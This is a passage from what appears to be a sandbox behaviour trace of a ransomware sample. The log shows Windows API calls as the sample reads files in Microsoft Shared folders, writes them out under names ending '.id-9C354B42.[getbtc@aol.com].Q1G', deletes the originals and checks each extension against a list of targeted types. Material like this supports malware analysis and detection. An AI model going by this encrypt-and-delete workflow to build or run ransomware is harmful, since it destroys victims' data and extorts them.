lpString2=".EXE") returned -1 [0054.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.905] lstrlenW (lpString=".1cd") returned 4 [0054.905] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.905] lstrlenW (lpString=".jpg") returned 4 [0054.905] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.905] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0054.905] lstrlenW (lpString="offfiltx.dll") returned 12 [0054.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.558] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=1486736) returned 1 [0055.558] CloseHandle (hObject=0x230) returned 1 [0055.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0055.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.558] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.558] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0055.559] GetLastError () returned 0x0 [0055.559] ReadFile (in: hFile=0x230, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0055.581] WriteFile (in: hFile=0x1cc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0055.597] ReadFile (in: hFile=0x230, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0x6afa0, lpOverlapped=0x0) returned 1 [0055.785] WriteFile (in: hFile=0x1cc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0x6afb0, lpOverlapped=0x0) returned 1 [0055.794] ReadFile (in: hFile=0x230, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.794] WriteFile (in: hFile=0x1cc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.794] SetEndOfFile (hFile=0x1cc) returned 1 [0055.795] CloseHandle (hObject=0x1cc) returned 1 [0055.795] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.795] SetEndOfFile (hFile=0x230) returned 1 [0055.798] CloseHandle (hObject=0x230) returned 1 [0055.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.799] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1 [0055.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.799] lstrlenW (lpString=".doc") returned 4 [0055.799] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.799] lstrlenW (lpString=".docx") returned 5 [0055.799] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0055.799] lstrlenW (lpString=".pdf") returned 4 [0055.799] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.799] lstrlenW (lpString=".xls") returned 4 [0055.799] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.799] lstrlenW (lpString=".xlsx") returned 5 [0055.799] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0055.799] lstrlenW (lpString=".ppt") returned 4 [0055.799] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.799] lstrlenW (lpString=".zip") returned 4 [0055.799] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.799] lstrlenW (lpString=".rar") returned 4 [0055.799] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.800] lstrlenW (lpString=".bz2") returned 4 [0055.800] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.800] lstrlenW (lpString=".7z") returned 3 [0055.800] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.800] lstrlenW (lpString=".dbf") returned 4 [0055.800] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.800] lstrlenW (lpString=".1cd") returned 4 [0055.800] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.800] lstrlenW (lpString=".jpg") returned 4 [0055.800] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.800] lstrlenW (lpString=".doc") returned 4 [0055.800] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.800] lstrlenW (lpString=".docx") returned 5 [0055.800] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0055.800] lstrlenW (lpString=".pdf") returned 4 [0055.800] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.800] lstrlenW (lpString=".xls") returned 4 [0055.800] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.800] lstrlenW (lpString=".xlsx") returned 5 [0055.800] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0055.800] lstrlenW (lpString=".ppt") returned 4 [0055.801] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.801] lstrlenW (lpString=".zip") returned 4 [0055.801] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.801] lstrlenW (lpString=".rar") returned 4 [0055.801] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.801] lstrlenW (lpString=".bz2") returned 4 [0055.801] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.801] lstrlenW (lpString=".7z") returned 3 [0055.801] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.801] lstrlenW (lpString=".dbf") returned 4 [0055.801] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.801] lstrlenW (lpString=".1cd") returned 4 [0055.801] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0055.801] lstrlenW (lpString=".jpg") returned 4 [0055.801] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.801] lstrcmpiW (lpString1=".CGM", lpString2=".Q1G") returned -1 [0055.801] lstrlenW (lpString="MS.CGM") returned 6 [0055.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0057.269] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=1908) returned 1 [0057.277] CloseHandle (hObject=0x1cc) returned 1 [0057.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0057.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0057.278] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.278] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.278] GetLastError () returned 0x0 [0057.278] ReadFile (in: hFile=0x1cc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0x774, lpOverlapped=0x0) returned 1 [0057.282] WriteFile (in: hFile=0x1d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0x780, lpOverlapped=0x0) returned 1 [0057.283] ReadFile (in: hFile=0x1cc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.283] WriteFile (in: hFile=0x1d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0057.283] SetEndOfFile (hFile=0x1d0) returned 1 [0057.283] CloseHandle (hObject=0x1d0) returned 1 [0057.284] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.284] SetEndOfFile (hFile=0x1cc) returned 1 [0057.284] CloseHandle (hObject=0x1cc) returned 1 [0057.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.285] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 1 [0057.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.285] lstrlenW (lpString=".doc") returned 4 [0057.285] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0057.285] lstrlenW (lpString=".docx") returned 5 [0057.285] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0057.285] lstrlenW (lpString=".pdf") returned 4 [0057.285] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0057.285] lstrlenW (lpString=".xls") returned 4 [0057.285] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0057.285] lstrlenW (lpString=".xlsx") returned 5 [0057.285] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0057.285] lstrlenW (lpString=".ppt") returned 4 [0057.285] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0057.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.285] lstrlenW (lpString=".zip") returned 4 [0057.285] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0057.285] lstrlenW (lpString=".rar") returned 4 [0057.285] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0057.285] lstrlenW (lpString=".bz2") returned 4 [0057.285] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0057.285] lstrlenW (lpString=".7z") returned 3 [0057.285] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0057.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.285] lstrlenW (lpString=".dbf") returned 4 [0057.285] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0057.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.286] lstrlenW (lpString=".1cd") returned 4 [0057.286] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0057.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.286] lstrlenW (lpString=".jpg") returned 4 [0057.286] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0057.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.286] lstrlenW (lpString=".doc") returned 4 [0057.286] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0057.286] lstrlenW (lpString=".docx") returned 5 [0057.286] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0057.286] lstrlenW (lpString=".pdf") returned 4 [0057.286] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0057.286] lstrlenW (lpString=".xls") returned 4 [0057.286] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0057.286] lstrlenW (lpString=".xlsx") returned 5 [0057.286] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0057.286] lstrlenW (lpString=".ppt") returned 4 [0057.286] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0057.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.286] lstrlenW (lpString=".zip") returned 4 [0057.286] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0057.286] lstrlenW (lpString=".rar") returned 4 [0057.286] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0057.286] lstrlenW (lpString=".bz2") returned 4 [0057.286] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0057.286] lstrlenW (lpString=".7z") returned 3 [0057.286] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0057.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.286] lstrlenW (lpString=".dbf") returned 4 [0057.286] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0057.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.286] lstrlenW (lpString=".1cd") returned 4 [0057.287] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0057.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.287] lstrlenW (lpString=".jpg") returned 4 [0057.287] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0057.287] lstrcmpiW (lpString1=".FLT", lpString2=".Q1G") returned -1 [0057.287] lstrlenW (lpString="PNG32.FLT") returned 9 [0057.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0057.287] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=302976) returned 1 [0057.287] CloseHandle (hObject=0x1cc) returned 1 [0057.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0057.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0057.287] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.287] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.288] GetLastError () returned 0x0 [0057.288] ReadFile (in: hFile=0x1cc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0x49f80, lpOverlapped=0x0) returned 1 [0057.295] WriteFile (in: hFile=0x1d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0x49f90, lpOverlapped=0x0) returned 1 [0057.302] ReadFile (in: hFile=0x1cc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.302] WriteFile (in: hFile=0x1d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0057.302] SetEndOfFile (hFile=0x1d0) returned 1 [0057.302] CloseHandle (hObject=0x1d0) returned 1 [0057.302] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.302] SetEndOfFile (hFile=0x1cc) returned 1 [0057.305] CloseHandle (hObject=0x1cc) returned 1 [0057.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.305] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0057.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.306] lstrlenW (lpString=".doc") returned 4 [0057.306] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.306] lstrlenW (lpString=".docx") returned 5 [0057.306] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.306] lstrlenW (lpString=".pdf") returned 4 [0057.306] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.306] lstrlenW (lpString=".xls") returned 4 [0057.306] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.306] lstrlenW (lpString=".xlsx") returned 5 [0057.306] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.306] lstrlenW (lpString=".ppt") returned 4 [0057.306] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.306] lstrlenW (lpString=".zip") returned 4 [0057.306] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.306] lstrlenW (lpString=".rar") returned 4 [0057.306] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.306] lstrlenW (lpString=".bz2") returned 4 [0057.306] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.306] lstrlenW (lpString=".7z") returned 3 [0057.306] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.306] lstrlenW (lpString=".dbf") returned 4 [0057.306] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.306] lstrlenW (lpString=".1cd") returned 4 [0057.306] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.306] lstrlenW (lpString=".jpg") returned 4 [0057.306] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.307] lstrlenW (lpString=".doc") returned 4 [0057.307] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.307] lstrlenW (lpString=".docx") returned 5 [0057.307] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.307] lstrlenW (lpString=".pdf") returned 4 [0057.307] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.307] lstrlenW (lpString=".xls") returned 4 [0057.307] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.307] lstrlenW (lpString=".xlsx") returned 5 [0057.307] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.307] lstrlenW (lpString=".ppt") returned 4 [0057.307] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.307] lstrlenW (lpString=".zip") returned 4 [0057.307] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.307] lstrlenW (lpString=".rar") returned 4 [0057.307] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.307] lstrlenW (lpString=".bz2") returned 4 [0057.307] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.307] lstrlenW (lpString=".7z") returned 3 [0057.307] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.307] lstrlenW (lpString=".dbf") returned 4 [0057.307] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.307] lstrlenW (lpString=".1cd") returned 4 [0057.307] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0057.307] lstrlenW (lpString=".jpg") returned 4 [0057.307] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.307] lstrcmpiW (lpString1=".FLT", lpString2=".Q1G") returned -1 [0057.308] lstrlenW (lpString="WPGIMP32.FLT") returned 12 